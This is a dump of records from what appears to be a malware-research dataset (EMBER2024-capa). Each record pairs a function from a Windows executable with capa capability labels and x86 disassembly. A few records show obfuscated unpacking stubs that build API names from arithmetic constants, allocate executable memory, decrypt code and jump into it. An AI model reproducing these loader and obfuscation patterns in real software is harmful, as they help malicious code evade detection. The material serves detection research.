joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40ef8c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov edi, eax
xor eax, eax
push ebp
push 0x40f0c9
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 8]
push eax
push edi
call sub.advapi32.dll_RegQueryValueExW_1
test eax, eax
jne 0x40f0b3
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 0xc]
je 0x40efe9
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 8]
jne 0x40f0b3
cmp dword [ebp - 0x14], 0
jne 0x40f000
mov eax, dword [ebp - 0xc]
xor edx, edx
call fcn.00404edc
mov bl, 1
jmp 0x40f0b3
cmp dword [ebp - 0x14], 0x70000000
jb 0x40f00e
call fcn.0040c220
mov esi, dword [ebp - 0x14]
inc esi
shr esi, 1
lea eax, [ebp - 4]
mov ecx, esi
xor edx, edx
call fcn.00405018
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
call fcn.004056f0
push eax
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 8]
push eax
push edi
call sub.advapi32.dll_RegQueryValueExW_1
cmp eax, 0xea
je 0x40efb2
test eax, eax
jne 0x40f0b3
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 0xc]
je 0x40f05c
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 8]
jne 0x40f0b3
mov esi, dword [ebp - 0x14]
shr esi, 1
jmp 0x40f064
dec esi
test esi, esi
je 0x40f078
lea eax, [ebp - 4]
call fcn.00404990
cmp word [eax + esi*2 - 2], 0
je 0x40f063
cmp dword [ebp - 0x10], 7
jne 0x40f083
test esi, esi
je 0x40f083
inc esi
lea eax, [ebp - 4]
mov edx, esi
call fcn.00405144
cmp dword [ebp - 0x10], 7
jne 0x40f0a6
test esi, esi
je 0x40f0a6
lea eax, [ebp - 4]
call fcn.004056f0
mov word [eax + esi*2 - 2], 0
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.00404edc
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40f0d0
lea eax, [ebp - 4]
call fcn.00404ecc
ret

Function at 0x40fb4c
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor esi, esi
mov ecx, 0x41cd9c
mov eax, esi
mov edx, 8
test al, 1
je 0x40fb68
shr eax, 1
xor eax, 0xedb88320
jmp 0x40fb6a
shr eax, 1
dec edx
jne 0x40fb5b
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x40fb54
pop esi
ret

Function at 0x40fb80
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
mov ebx, eax
cmp dword [0x41cd98], 0
jne 0x40fba3
call fcn.0040fb4c
push 1
push 0x41cd98
call sub.kernel32.dll_InterlockedExchange
mov eax, edi
test esi, esi
je 0x40fbce
mov edx, ebx
and edx, 0xff
movzx ecx, byte [eax]
xor dx, cx
movzx edx, dx
mov edx, dword [edx*4 + 0x41cd9c]
shr ebx, 8
xor edx, ebx
mov ebx, edx
dec esi
inc eax
test esi, esi
jne 0x40fba9
mov eax, ebx
pop edi
pop esi
pop ebx
ret
Function at 0x411558
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
mov esi, edx
mov ebx, eax
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.0041150c
test al, al
jne 0x411579
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x4115c5
xor eax, eax
push ebp
push 0x4115b5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00404f68
push eax
call sub.kernel32.dll_DeleteFileW
mov dword [ebp - 4], eax
call sub.kernel32.dll_GetLastError
mov dword [ebp - 0x10], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4115bc
lea eax, [ebp - 0xc]
call fcn.00411548
ret
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x411804
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
mov ecx, 4
push 0
push 0
dec ecx
jne 0x41180c
push ecx
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x4118f9
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
call fcn.0040ee38
mov edx, dword [ebp - 8]
mov ecx, 0x411914
xor eax, eax
call fcn.004116e8
push 0
mov eax, dword [ebp - 4]
call fcn.00404f68
push eax
call sub.kernel32.dll_CreateDirectoryW
test eax, eax
jne 0x4118c7
call sub.kernel32.dll_GetLastError
mov ebx, eax
cmp ebx, 0xb7
je 0x411826
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x1c]
mov edx, dword [ebp - 4]
mov al, 0x2f
call fcn.00411378
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov eax, ebx
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x20]
call fcn.004084ec
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
lea edx, [ebp - 0x24]
mov eax, ebx
call fcn.0040f3e0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x10], eax
lea edx, [ebp - 0x18]
mov ecx, 2
mov al, 0x60
call fcn.00411348
mov ecx, dword [ebp - 0xc]
mov dl, 1
mov eax, dword [0x406f80]
call fcn.0040c22c
call fcn.004040b0
jmp 0x411826
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00404edc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x411900
lea eax, [ebp - 0x24]
mov edx, 3
call fcn.00404ed4
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404ed4
ret

Function at 0x411928
Capabilities:
Shutdown system

Disassembly:
push ebx
push esi
add esp, 0xffffffec
mov esi, edx
mov ebx, eax
mov eax, dword [0x417dbc]
cmp dword [eax], 2
jne 0x411996
push esp
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
jne 0x411951
xor eax, eax
jmp 0x4119a3
lea eax, [esp + 8]
push eax
push 0x4119ac
push 0
call sub.advapi32.dll_LookupPrivilegeValueW
mov dword [esp + 4], 1
mov dword [esp + 0x10], 2
push 0
push 0
push 0
lea eax, [esp + 0x10]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_GetLastError
test eax, eax
je 0x411996
xor eax, eax
jmp 0x4119a3
push esi
push ebx
call sub.user32.dll_ExitWindowsEx
cmp eax, 1
sbb eax, eax
inc eax
add esp, 0x14
pop esi
pop ebx
ret
Function at 0x4119e4
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov ebx, eax
mov esi, ecx
dec esi
test esi, esi
jl 0x411a3e
inc esi
xor edi, edi
cmp edi, 1
jne 0x411a0a
mov eax, dword [ebp + 0xc]
push eax
call sub.kernel32.dll_Sleep_1
jmp 0x411a18
cmp edi, 1
jle 0x411a18
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_Sleep_1
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00411558
test eax, eax
jne 0x411a3e
call sub.kernel32.dll_GetLastError
cmp eax, 2
je 0x411a3e
call sub.kernel32.dll_GetLastError
cmp eax, 3
je 0x411a3e
inc edi
dec esi
jne 0x4119fa
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x411a48
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, eax
push 2
lea eax, [ebp - 4]
push eax
push 0x20001004
movzx eax, bx
push eax
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x411a6c
mov eax, dword [ebp - 4]
jmp 0x411a6f
or eax, 0xffffffff
pop ebx
pop ecx
pop ebp
ret

Function at 0x411a74
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov byte [ebp - 1], dl
mov edi, eax
mov eax, dword [ebp + 8]
xor edx, edx
mov dword [eax], edx
mov byte [ebp - 2], 0
test esi, esi
je 0x411ac1
xor ebx, ebx
jmp 0x411ab6
mov eax, dword [ebp - 8]
mov edx, dword [eax]
mov eax, esi
call fcn.00407fac
test eax, eax
jne 0x411ab5
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov byte [ebp - 2], 2
jmp 0x411b6b
inc ebx
lea edx, [ebp - 8]
mov eax, ebx
call edi
test al, al
jne 0x411a97
movzx eax, byte [ebp - 1]
sub al, 1
jb 0x411acd
je 0x411ad6
jmp 0x411adf
call fcn.0040f110
mov esi, eax
jmp 0x411ae1
call sub.kernel32.dll_GetUserDefaultLangID
mov esi, eax
jmp 0x411ae1
xor esi, esi
test si, si
je 0x411b6b
xor ebx, ebx
jmp 0x411b07
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x28]
movzx edx, si
cmp eax, edx
jne 0x411b06
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov byte [ebp - 2], 1
jmp 0x411b6b
inc ebx
lea edx, [ebp - 8]
mov eax, ebx
call edi
test al, al
jne 0x411aee
xor ebx, ebx
jmp 0x411b60
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x28]
and eax, 0x3ff
mov edx, esi
and dx, 0x3ff
movzx edx, dx
cmp eax, edx
jne 0x411b5f
mov eax, esi
and ax, 0x3ff
cmp ax, 4
jne 0x411b54
mov eax, dword [ebp - 8]
movzx eax, word [eax + 0x28]
call fcn.00411a48
push eax
mov eax, esi
call fcn.00411a48
pop edx
cmp edx, eax
jne 0x411b5f
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov byte [ebp - 2], 1
jmp 0x411b6b
inc ebx
lea edx, [ebp - 8]
mov eax, ebx
call edi
test al, al
jne 0x411b16
movzx eax, byte [ebp - 2]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 4
Function at 0x415310
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4153e5
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x415400
push ebx
push 0x415410
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.00405380
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00403270
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404f68
push eax
push 0
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x415390
mov al, 0x62
call fcn.00414f88
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.004152e4
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
cmp eax, 1
je 0x415399
call fcn.004152e4
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4153ec
lea eax, [ebp - 4]
call fcn.00404ecc
ret

Function at 0x415498
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo_1
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x415563
jmp 0x415557
cmp dword [esi + 0x10], 0x1000
jne 0x415543
test byte [esi + 0x15], 1
jne 0x415543
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x4154f4
cmp ebp, 2
je 0x4154f4
cmp ebp, 0x10
je 0x4154f4
cmp ebp, 0x20
jne 0x415510
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x415510
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x415521
mov eax, dword [esi]
add eax, ebx
call fcn.00415490
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x415514
cmp byte [esp + 4], 0
je 0x415543
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x415563
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x4154c9
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x6d64a551
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x6d64a560
pop dword [ebp - 0x38]
mov eax, 0x9769a853
sub eax, 0x2a0502f3
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0xdd7166d7
sub dword [ebp - 0x48], 0x8f1f218c
mov dword [ebp - 0x44], 0x228838d4
add dword [ebp - 0x44], 0xfab1371
mov dword [ebp - 0x40], 0x26b82d58
sub dword [ebp - 0x40], 0xda6be92a
mov dword [ebp - 0x3c], 0x85ebfc13
add dword [ebp - 0x3c], 0x7a1403ed
lea eax, [ebp - 0x48]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0xb9628b4a
add dword [ebp - 0x48], 0xbb0fde0c
mov dword [ebp - 0x44], 0x87beb1a
sub dword [ebp - 0x44], 0xc70f89a5
mov dword [ebp - 0x40], 0xdb098834
add dword [ebp - 0x40], 0x8865e438
mov dword [ebp - 0x3c], 0xe88efcd0
sub dword [ebp - 0x3c], 0xe88efcd0
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x362e4
push 0
call eax
mov ecx, 0x36cc8f95
add ecx, 0xc933b452
mov edi, eax
mov ebx, 0x6d666600
add ebx, dword [ebp - 0x38]
mov edx, 0x89c4d886
sub edx, 0x670dccaf
xor dword [ebp - 4], ecx
mov esi, dword [ebx]
xor dword [ebp - 0x14], 0x2202eaf7
add esi, edx
add dword [ebp - 0x18], edi
mov dword [edi], esi
xor dword [ebp - 0xc], 0xb0295c37
add edi, 4
add ebx, 0xc1a854b7
sub ebx, 0xc1a854b3
loop 0x6d64a672
add eax, 0x1026f
mov ebx, eax
add eax, 5
mov ecx, 0x7a60e36
add ecx, 0x65bdf1ca
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x409420
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x40942f
pop dword [ebp - 0x10]
mov eax, 0x7f0da9fc
add eax, 0x8132ea33
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xf2bfe331
add dword [ebp - 0x20], 0x5b92621a
mov dword [ebp - 0x1c], 0x78e7c76b
sub dword [ebp - 0x1c], 0x46b47b26
mov dword [ebp - 0x18], 0x4bf468be
add dword [ebp - 0x18], 0x57db70
mov dword [ebp - 0x14], 0xfdbacd71
add dword [ebp - 0x14], 0x245328f
lea eax, [ebp - 0x20]
push eax
mov eax, 0xb7c29f51
add eax, 0x487e3103
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x59fcd9f3
add dword [ebp - 0x20], 0x1a758f63
mov dword [ebp - 0x1c], 0xf3a565e4
sub dword [ebp - 0x1c], 0xb239046f
mov dword [ebp - 0x18], 0xa69af7e8
add dword [ebp - 0x18], 0xbcd47484
mov dword [ebp - 0x14], 0x6a640034
sub dword [ebp - 0x14], 0x6a640034
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x52b6183f
sub eax, 0x527547f3
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3c07a
push 0
call eax
mov ecx, 0x51f7
xor edx, edx
add edx, eax
mov ebx, 0xe276fd80
sub ebx, 0xe2354d80
add ebx, dword [ebp - 0x10]
mov edi, 0x4490a08d
add edi, 0xf45c8ee6
xor dword [ebp - 0xc], eax
mov esi, dword [ebx]
add esi, edi
xor dword [ebp - 8], 0x4570c2f9
mov dword [edx], esi
mov dword [ebp - 8], 0x792f23f6
add edx, 4
add ebx, 0xc4736383
sub ebx, 0xc473637f
loop 0x40954d
add eax, 0x8845fbc0
sub eax, 0x8844c111
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xfc3aeed2
add ecx, 0x405112e
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x40b613
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb0
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
cmp dword [ebp + 0x10], 0
jne 0x40b690
mov byte [ebp - 0x50], 0
push 0x50
lea eax, [ebp - 0x50]
push eax
mov edx, dword [ebx]
push dword [edx + 0xc]
call sub.USER32.dll_GetWindowTextA
push esi
lea ecx, [ebx + 0x2a]
push ecx
lea eax, [ebp - 0x50]
push eax
call fcn.0040b835
pop ecx
push eax
call sub.cw3230mt.DLL__sscanf
add esp, 0xc
dec eax
je 0x40b706
cmp dword [ebx + 0x26], 4
jne 0x40b67b
push 0x66
lea edx, [ebx + 0x1c]
push edx
call sub.cw3230mt.DLL__strchr_qpci
add esp, 8
test eax, eax
je 0x40b67b
xor ecx, ecx
mov dword [esi], ecx
jmp 0x40b706
cmp dword [ebx + 0x26], 8
jne 0x40b68a
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], eax
jmp 0x40b706
xor edx, edx
mov dword [esi], edx
jmp 0x40b706
cmp dword [ebx + 0x26], 4
jne 0x40b6c2
push 0x66
lea ecx, [ebx + 0x1c]
push ecx
call sub.cw3230mt.DLL__strchr_qpci
add esp, 8
test eax, eax
je 0x40b6c2
fld dword [esi]
add esp, 0xfffffff8
fstp qword [esp]
lea eax, [ebx + 0x1c]
push eax
lea edx, [ebp - 0x50]
push edx
call sub.cw3230mt.DLL__sprintf
add esp, 0x10
jmp 0x40b6f1
cmp dword [ebx + 0x26], 8
jne 0x40b6df
push dword [esi + 4]
push dword [esi]
lea eax, [ebx + 0x1c]
push eax
lea edx, [ebp - 0x50]
push edx
call sub.cw3230mt.DLL__sprintf
add esp, 0x10
jmp 0x40b6f1
push dword [esi]
lea ecx, [ebx + 0x1c]
push ecx
lea eax, [ebp - 0x50]
push eax
call sub.cw3230mt.DLL__sprintf
add esp, 0xc
lea edx, [ebp - 0x50]
push edx
call fcn.0040b835
pop ecx
push eax
mov ecx, dword [ebx]
push dword [ecx + 0xc]
call sub.USER32.dll_SetWindowTextA
mov eax, dword [ebx + 0x26]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40b754
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa4
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
push esi
call sub.USER32.dll_GetDlgCtrlID
cmp eax, 2
je 0x40b7f3
xor eax, eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
push 0x50
lea edx, [ebp - 0x5c]
push edx
mov ecx, dword [ebx]
push dword [ecx + 0xc]
call sub.USER32.dll_GetWindowTextA
push 0x78
lea eax, [ebx + 0x2a]
push eax
call sub.cw3230mt.DLL__strchr_qpci
add esp, 8
test eax, eax
je 0x40b7af
push 0x10
lea edx, [ebp - 4]
push edx
lea ecx, [ebp - 0x5c]
push ecx
call sub.cw3230mt.DLL__strtol
add esp, 0xc
jmp 0x40b7c2
lea eax, [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
push edx
call sub.cw3230mt.DLL__strtod
add esp, 8
fstp qword [ebp - 0xc]
fld qword [ebp - 0xc]
mov ecx, dword [sym.imp.cw3230mt.DLL___huge_dble]
fcomp qword [ecx]
fnstsw ax
sahf
je 0x40b7ec
mov edx, dword [sym.imp.cw3230mt.DLL___huge_dble]
fld qword [edx]
fchs
fcomp qword [ebp - 0xc]
fnstsw ax
sahf
je 0x40b7ec
mov edx, dword [ebp - 4]
cmp byte [edx], 0
je 0x40b7f3
push ebx
call fcn.0040b803
pop ecx
push esi
push ebx
call sub.OWL52t.dll__TEdit_EvKillFocus_qp6HWND__
add esp, 8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40c57d
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc0
push ebx
push esi
mov eax, dword [ebp + 8]
test byte [eax + 0x2f], 8
je 0x40c5a2
push 0
lea edx, [ebp - 8]
push edx
push eax
call fcn.0040b613
add esp, 0xc
jmp 0x40c6c0
push 0x1e
lea ecx, [ebp - 0x38]
push ecx
mov eax, dword [eax]
push dword [eax + 0xc]
call sub.USER32.dll_GetWindowTextA
push 0xa
lea eax, [ebp - 0x14]
push eax
lea edx, [ebp - 0x38]
push edx
call sub.cw3230mt.DLL__strtol
add esp, 0xc
mov ebx, eax
mov eax, dword [ebp - 0x14]
mov dl, byte [eax]
cmp dl, byte [0x410db0]
jne 0x40c664
inc dword [ebp - 0x14]
push 0xa
lea ecx, [ebp - 0x18]
push ecx
push dword [ebp - 0x14]
call sub.cw3230mt.DLL__strtol
add esp, 0xc
mov esi, eax
mov eax, dword [ebp - 0x18]
movsx edx, byte [eax]
cmp edx, 0x27
jne 0x40c62d
inc dword [ebp - 0x18]
push dword [ebp - 0x18]
call sub.cw3230mt.DLL__atof
pop ecx
fstp qword [ebp - 0x10]
mov dword [ebp - 0x3c], ebx
fild dword [ebp - 0x3c]
mov dword [ebp - 0x40], esi
fild dword [ebp - 0x40]
fld xword [0x40c6c9]
fmulp st(1)
faddp st(1)
fld xword [0x40c6d5]
fmul qword [ebp - 0x10]
faddp st(1)
fstp qword [ebp - 8]
jmp 0x40c686
mov ecx, dword [ebp - 0x18]
movsx eax, byte [ecx]
cmp eax, 0x2e
jne 0x40c65a
push dword [ebp - 0x14]
call sub.cw3230mt.DLL__atof
pop ecx
fstp qword [ebp - 0x10]
mov dword [ebp - 0x3c], ebx
fild dword [ebp - 0x3c]
fld xword [0x40c6c9]
fmul qword [ebp - 0x10]
faddp st(1)
fstp qword [ebp - 8]
jmp 0x40c686
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], edx
jmp 0x40c686
mov ecx, dword [ebp - 0x14]
movsx eax, byte [ecx]
cmp eax, 0x2e
jne 0x40c67e
lea edx, [ebp - 0x38]
push edx
call sub.cw3230mt.DLL__atof
pop ecx
fstp qword [ebp - 8]
jmp 0x40c686
xor ecx, ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], ecx
fld qword [ebp - 8]
fcomp dword [0x40c6e1]
fnstsw ax
sahf
je 0x40c6c0
push 0x53
lea edx, [ebp - 0x38]
push edx
call sub.cw3230mt.DLL__strchr_qpci
add esp, 8
test eax, eax
jne 0x40c6b8
push 0x57
lea ecx, [ebp - 0x38]
push ecx
call sub.cw3230mt.DLL__strchr_qpci
add esp, 8
test eax, eax
je 0x40c6c0
fld qword [ebp - 8]
fchs
fstp qword [ebp - 8]
fld qword [ebp - 8]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40c7a0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 8], 0x104
xor ebx, ebx
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push dword [0x410f8c]
push 0x80000000
call sub.ADVAPI32.dll_RegOpenKeyExA
test eax, eax
jne 0x40c7f4
lea edx, [ebp - 8]
push edx
push dword [ebp + 8]
push 0
push 0
push 0
push dword [ebp - 4]
call sub.ADVAPI32.dll_RegQueryValueExA
test eax, eax
sete bl
and ebx, 1
push dword [ebp - 4]
call sub.ADVAPI32.dll_RegCloseKey
mov eax, ebx
pop ebx
pop ecx
pop ecx
pop ebp
ret
Function at 0x40c9b4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffedc
mov eax, 0x411010
call fcn.0040d970
mov word [ebp - 0x14], 8
mov edx, dword [ebp + 8]
mov dword [edx], fcn.0040ca8d
push 0xff
call sub.cw3230mt.DLL___bnwa_qui
pop ecx
mov ecx, dword [ebp + 8]
mov dword [ecx + 4], eax
lea eax, [ebp - 0x124]
push eax
push 0xff
call sub.KERNEL32.dll_GetTempPathA
mov edx, dword [ebp + 8]
push dword [edx + 4]
push 0
push 0x411049
lea ecx, [ebp - 0x124]
push ecx
call sub.KERNEL32.dll_GetTempFileNameA
mov eax, dword [ebp + 8]
mov byte [eax + 8], 1
mov edx, dword [ebp - 0x24]
mov dword fs:[0], edx
mov eax, dword [ebp + 8]
mov esp, ebp
pop ebp
ret

Function at 0x40cac6
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
cmp byte [ebx + 8], 0
je 0x40cae0
push dword [ebx + 4]
call sub.cw3230mt.DLL__remove
pop ecx
push dword [ebx + 4]
call sub.cw3230mt.DLL___bdla_qpv
pop ecx
test esi, esi
je 0x40cb11
push esi
call sub.cw3230mt.DLL__strlen
pop ecx
inc eax
push eax
call sub.cw3230mt.DLL___bnwa_qui
pop ecx
mov dword [ebx + 4], eax
push esi
push dword [ebx + 4]
call sub.cw3230mt.DLL__strcpy
add esp, 8
mov byte [ebx + 8], 0
jmp 0x40cb34
push 0xff
call sub.cw3230mt.DLL___bnwa_qui
pop ecx
mov dword [ebx + 4], eax
push dword [ebx + 4]
push 0
push 0x41104d
push 0
call sub.KERNEL32.dll_GetTempFileNameA
mov byte [ebx + 8], 1
pop esi
pop ebx
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx